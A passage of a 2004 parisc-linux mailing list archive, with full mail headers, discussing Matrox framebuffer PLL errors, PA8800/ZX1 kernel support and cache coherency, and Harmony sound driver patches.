I don't have any handy reference for VGA cable/connector - SVGA
connector has them all.

> Eg. I have a PC MultiSync (not here in Ireland) that accepts two
> inputs, VGA connector and 5 BNC.

If you ever get the chance - disconnect the H & V BNCs - it will probably
still work (VGA, 5-BNC and 3-BNC)

> Yeah, I know. I had a SUN Monitor (using sync-on-green), for which
> I built a VGA-to-SyncOnGreen adapter. That was pretty easy to do.
>
> Unfortunately the old HP monitors/graphics cards are using a much more
> complicated, proprietary sync-on-green signalling (and voltage)
> much unlike the SUNs, so building a VGA converter is much more
> complicated. IIRC. (I remember that I found a schematic for those
> HP VGA converters some time ago and I was scared).

I didn't know that - thanks for the info.
I have driven several different Sony multisync monitors with the 720
(and a custom - wire only - cable) - they survived the experience;
but based on the above - it might be good that I didn't do it for
very long.

>
> However Milleniums have (undocumented) hardware SyncOnGreen support,
> and most OSS drivers (eg. XFree86) can enable it, but it is
> disabled by default, at least on the PC version (which I have).

Those messages about not getting the cards PLLs to lock are more
likely to be the lead to getting a picture - but something else might
not be getting its setup also.

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PA8800/ZX1 support committed to 2.6.7-rc2-pa2
Date: Fri, 4 Jun 2004 14:25:46 -0600
Lines: 11
Approved: news@gmane.org
Message-ID: <20040604202546.GC18574@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623467 9869 80.91.229.3 (22 Nov 2014 02:31:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:07 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
 parisc-linux-announce@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Original-Received: from mailgate5.dlan.cinetic.de ([172.20.1.103] helo=mailgate5.web.de)
	by mxint02.web.de with esmtp (WEB.DE 4.101 #91)
	id 1BWNSg-000375-00
	for hdeller@web.de; Sat, 05 Jun 2004 00:46:54 +0200
Original-Received: by mailgate5.web.de (8.11.6p2/8.11.2/SuSE Linux 8.11.0-0.4) with SMTP id i54Mks425138
	for hdeller@web.de; Sat, 5 Jun 2004 00:46:54 +0200
Original-Received: from pop.gmx.net (by WEB.DE(pop3abholer) 2.1)
        for hdeller@web.de; Sat, 05 Jun 2004 00:46:54 +0200
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 31933 invoked by uid 65534); 4 Jun 2004 20:26:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx025) with SMTP; 04 Jun 2004 22:26:09 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 507B83BDCE; Fri,  4 Jun 2004 14:25:50 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP
	id 61D4D3BCA9; Fri,  4 Jun 2004 14:25:47 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id A45BA298059; Fri,  4 Jun 2004 14:25:46 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 19468-02; Fri, 4 Jun 2004 14:25:46 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 2DB7D298038; Fri,  4 Jun 2004 14:25:46 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Original-Sender: hdeller@web.de
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21702

I've committed PA8800/ZX1 support. It's obviously not complete
and more notes are here:
http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2004-June/034204.html

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Success! was Re: [parisc-linux] Get your Matrox ...
Date: Sat, 5 Jun 2004 10:47:19 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <20040605094719.GA27296@sal.ucc.ie>
References: <20040602221734.GA26176@solo.franken.de>
	<20040603032304.GA22448@sal.ucc.ie>
	<20040603133819.GB1949@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
X-Trace: ger.gmane.org 1416623467 9875 80.91.229.3 (22 Nov 2014 02:31:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 1846 invoked by uid 65534); 5 Jun 2004 09:47:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx005) with SMTP; 05 Jun 2004 11:47:39 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 63DEC3BDDA; Sat,  5 Jun 2004 03:47:26 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by free.linux.hp.com (Postfix) with ESMTP id 315A43BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  5 Jun 2004 03:47:22 -0600 (MDT)
Original-Received: from sal.ucc.ie (Debian-exim@sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i559lKlp018271;
	Sat, 5 Jun 2004 10:47:20 +0100
Original-Received: from xam by sal.ucc.ie with local (Exim 4.32)
	id 1BWXln-0007In-Nv; Sat, 05 Jun 2004 10:47:19 +0100
Mail-Followup-To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20040603133819.GB1949@solo.franken.de>
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21703

On Thu, Jun 03, 2004 at 03:38:19PM +0200, Thomas Bogendoerfer wrote:
> On Thu, Jun 03, 2004 at 04:23:04AM +0100, M. Grabert wrote:
> >
> > beast kernel: matroxfb: Pixel PLL not locked after 5 secs
> > beast kernel: matroxfb: Loop PLL not locked after 5 secs

I finally was able to put the Matrox in a desktop PC.
It worked without problems! But just to be sure I performed a
graphic card BIOS upgrade (Setup351.exe from Matrox.com).

And then I put it back into my PA machine and ...
... now it works! No more PLL errors!

Now I'm running 1280x1024, 16bit @ 75Hz (32bit also works,
but visibly slower, since it's not accelerated and twice as much
pixel data has to be moved if you move a window. 16bit is fine).
Well, I could run higher resolutions, but I just have a 17" monitor ;)

> bad, either the PLL setup write didn't reach hardware, or
> reading of the locked bit of the PLL fails. It looks like
> the PCI subsystem behaves differently between my B2600 and
> your C3000 :-(
>
> Can anybody describe the difference of the PCI bus between C3000 and
> B2600 ?

I thought there is almost no difference between the B2xxx and C3xxx
series ...

Greetings,
   Max


PS: In case your PA box crashes, the Matrox RAM/config/whatever can
come into a inconsistent state and will refuse to be initialized
properly if you simply reboot (but it will not print out error msgs).
You *must* power cycle the computer (and I believe even disconnect it
physically from the power line for a couple of seconds) in order
to reset the Matrox properly, and be able to use it again.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA8800/ZX1 support committed to 2.6.7-rc2-pa2
Date: 05 Jun 2004 09:10:51 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <1086444652.1999.20.camel@mulgrave>
References: <20040604202546.GC18574@colo.lackof.org> 
	<20040605065126.GA28343@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623468 9879 80.91.229.3 (22 Nov 2014 02:31:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:08 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 13826 invoked by uid 65534); 5 Jun 2004 14:11:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx046) with SMTP; 05 Jun 2004 16:11:09 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5E7AE3BDD7; Sat,  5 Jun 2004 08:11:00 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by free.linux.hp.com (Postfix) with ESMTP id B31803BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  5 Jun 2004 08:10:57 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i55EAqi22913; Sat, 5 Jun 2004 10:10:52 -0400
In-Reply-To: <20040605065126.GA28343@colo.lackof.org>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21704

On Sat, 2004-06-05 at 01:51, Grant Grundler wrote:
> To me, it all suggest the PA8800 32M L2 cache isn't being
> flushed when it might need to be. I don't think it's a new
> problem. Just an old one that's easier to reproduce with
> the bigger cache.

Your explanation is possible, but it's highly unlikely to be an existing
problem.  PA currently uses the big hammer approach to cache coherency
and flushes everything on virtually every large mmu changing operation. 
If there's a caching problem in between the flushes it should have shown
up on much smaller cache machines as well.

Also, when doing the no flushing updates to improve fork/exec, I removed
the global flushing so now any cache mismanagement would become
cumulative and should definitely have been seen.

My money would be on an additional architectural requirement of the
PA8800 (maybe even an existing PA one that the <PA8800 just don't need)
that we don't respect.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Harmony fixes
Date: Sat, 5 Jun 2004 19:45:26 +0100
Lines: 123
Approved: news@gmane.org
Message-ID: <20040605184526.GA1317@calypso>
References: <20040527150933.GB612@calypso>
	<20040527151731.633A93658BE@mail.esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="rwEMma7ioTxnRzrJ"
X-Trace: ger.gmane.org 1416623468 9884 80.91.229.3 (22 Nov 2014 02:31:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 29898 invoked by uid 65534); 5 Jun 2004 18:45:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx012) with SMTP; 05 Jun 2004 20:45:39 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A44293BDF0; Sat,  5 Jun 2004 12:45:29 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta02-svc.ntlworld.com (mta02-svc.ntlworld.com [62.253.162.42])
	by free.linux.hp.com (Postfix) with ESMTP id AFF973BDD7
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  5 Jun 2004 12:45:26 -0600 (MDT)
Original-Received: from calypso ([62.254.21.7]) by mta02-svc.ntlworld.com
	(InterMail vM.4.01.03.37 201-229-121-137-20020806) with ESMTP
	id <20040605184414.YFBK8778.mta02-svc.ntlworld.com@calypso>;
	Sat, 5 Jun 2004 19:44:14 +0100
Original-Received: from sdb by calypso with local (Exim 3.36 #1 (Debian))
	id 1BWgAY-0000Qu-00; Sat, 05 Jun 2004 19:45:26 +0100
Mail-Followup-To: Thibaut VARENE <varenet@esiee.fr>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20040527151731.633A93658BE@mail.esiee.fr>
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21705


--rwEMma7ioTxnRzrJ
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi,

Here's the next set of fixes.  I should point out an annoyance with the
harmony-s16le patch though: apps that use AFMT_S16_NE are broken by this
patch, because the kernel headers incorrectly define AFMT_S16_NE as
AFMT_S16_LE, when it should be AFMT_S16_BE.

harmony-levellimit.patch:
Volume levels passed to the MIXER_WRITE ioctls are now limited to 100,
which prevents bogus levels from interferring with other mixer channels.

harmony-stereolevels.patch:
The MIXER_READ ioctls now return a right_level for the monophonic mixer
channels that is the same as the left_level.

harmony-s16le.patch:
The AFMT_S16_LE format is now rejected, just as all other unsupported
formats are rejected.  As a result, applications which write big-endian
samples with AFMT_S16_LE format set will no longer work.

Thanks,
-- 
Stuart Brady

--rwEMma7ioTxnRzrJ
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="harmony-levellimit.patch"

--- drivers/sound/harmony.c.orig	2004-06-04 15:02:51.000000000 +0100
+++ drivers/sound/harmony.c	2004-06-05 15:27:03.000000000 +0100
@@ -940,6 +940,8 @@
 
 	right_level = (value & 0x0000ff00) >> 8;
 	left_level = value & 0x000000ff;
+	if (right_level > 100) right_level = 100;
+	if (left_level > 100) left_level = 100;
   
 	switch (channel) {
 		case SOUND_MIXER_VOLUME:

--rwEMma7ioTxnRzrJ
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="harmony-stereolevels.patch"

--- drivers/sound/harmony.c.orig	2004-06-04 15:02:51.000000000 +0100
+++ drivers/sound/harmony.c	2004-06-05 15:28:17.000000000 +0100
@@ -918,7 +918,7 @@
 		case SOUND_MIXER_MONITOR:
 			left_level = (harmony.current_gain & GAIN_MA_MASK) >> GAIN_MA_SHIFT;
 			left_level = to_oss_level(MAX_MONITOR_LEVEL-left_level, MAX_MONITOR_LEVEL);
-			return left_level;
+			return (left_level << 8)+left_level;
 	}
 	return -EINVAL;
 }
@@ -967,7 +967,7 @@
 			new_left_level = to_oss_level(MAX_MONITOR_LEVEL-left_level, MAX_MONITOR_LEVEL);
 			harmony.current_gain = (harmony.current_gain & ~GAIN_MA_MASK) | (left_level << GAIN_MA_SHIFT);
 			harmony_mixer_set_gain();
-			return new_left_level;
+			return (new_left_level << 8) + new_left_level;
 	}
 
 	return -EINVAL;

--rwEMma7ioTxnRzrJ
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="harmony-s16le.patch"

--- drivers/sound/harmony.c.orig	2004-06-04 15:02:51.000000000 +0100
+++ drivers/sound/harmony.c	2004-06-05 15:24:31.000000000 +0100
@@ -655,18 +655,17 @@
 			switch (ival) {
 			case AFMT_MU_LAW:	new_format = HARMONY_DF_8BIT_ULAW; break;
 			case AFMT_A_LAW:	new_format = HARMONY_DF_8BIT_ALAW; break;
-			case AFMT_S16_LE:	/* fall through, but not really supported */
-			case AFMT_S16_BE:	new_format = HARMONY_DF_16BIT_LINEAR;
-						ival = AFMT_S16_BE;
-						break; 
+			case AFMT_S16_BE:	new_format = HARMONY_DF_16BIT_LINEAR; break;
 			default: {
 				DPRINTK(KERN_WARNING PFX 
 					"unsupported sound format 0x%04x requested.\n",
 					ival);
-				return -EINVAL;
+				ival = AFMT_S16_BE;
+				return put_user(ival, (int *) arg);
 			}
 			}
 			harmony_set_format(new_format);
+			return 0;
 		} else {
 			switch (harmony.data_format) {
 			case HARMONY_DF_8BIT_ULAW:	ival = AFMT_MU_LAW; break;
@@ -674,8 +673,8 @@
 			case HARMONY_DF_16BIT_LINEAR:	ival = AFMT_U16_BE; break;
 			default: ival = 0;
 			}
+			return put_user(ival, (int *) arg);
 		}
-		return put_user(ival, (int *) arg);
 
 	case SOUND_PCM_READ_RATE:
 		ival = harmony.dac_rate;

--rwEMma7ioTxnRzrJ
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--rwEMma7ioTxnRzrJ--



From - Thu Nov 08 21:32:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA8800/ZX1 support committed to 2.6.7-rc2-pa2
Date: Sat, 5 Jun 2004 15:05:15 -0600
Lines: 35
Approved: news@gmane.org
Message-ID: <20040605210515.GA8098@colo.lackof.org>
References: <20040604202546.GC18574@colo.lackof.org>
	<20040605065126.GA28343@colo.lackof.org>
	<1086444652.1999.20.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623468 9887 80.91.229.3 (22 Nov 2014 02:31:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:08 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 4656 invoked by uid 65534); 5 Jun 2004 21:05:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx015) with SMTP; 05 Jun 2004 23:05:30 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 181DA3BDF6; Sat,  5 Jun 2004 15:05:21 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 5599F3BDD7
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  5 Jun 2004 15:05:18 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 978EA298038; Sat,  5 Jun 2004 15:05:17 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 08781-01; Sat, 5 Jun 2004 15:05:16 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id F4161298015; Sat,  5 Jun 2004 15:05:15 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1086444652.1999.20.camel@mulgrave>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21706

On Sat, Jun 05, 2004 at 09:10:51AM -0500, James Bottomley wrote:
> Your explanation is possible, but it's highly unlikely to be an existing
> problem.  PA currently uses the big hammer approach to cache coherency
> and flushes everything on virtually every large mmu changing operation. 
> If there's a caching problem in between the flushes it should have shown
> up on much smaller cache machines as well.
> 
> Also, when doing the no flushing updates to improve fork/exec, I removed
> the global flushing so now any cache mismanagement would become
> cumulative and should definitely have been seen.

Well, I can only point at the difference in cache size.

> My money would be on an additional architectural requirement of the
> PA8800 (maybe even an existing PA one that the <PA8800 just don't need)
> that we don't respect.

yes - and we've changed chipsets too.

Any good ideas on how to prove IO is coherent?

It might be the same problem that Naresh described as "SCSI DMA problems".
I just happen to be using NFS Root instead.

But I found one bug in Naresh's port that might explain his problem
(wasn't flushing IO TLB properly). It would be interesting to hear
if 2.6.7-rc2-pa3 works better for him.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA8800/ZX1 support committed to 2.6.7-rc2-pa2
Date: 05 Jun 2004 16:19:24 -0500
Lines: 43
Approved: news@gmane.org
Message-ID: <1086470366.1999.36.camel@mulgrave>
References: <20040604202546.GC18574@colo.lackof.org>
	<20040605065126.GA28343@colo.lackof.org>
	<1086444652.1999.20.camel@mulgrave>
	<20040605210515.GA8098@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623469 9890 80.91.229.3 (22 Nov 2014 02:31:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:09 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 22726 invoked by uid 65534); 5 Jun 2004 21:19:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx055) with SMTP; 05 Jun 2004 23:19:41 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8F08B3BDF8; Sat,  5 Jun 2004 15:19:33 -0600 (MDT)
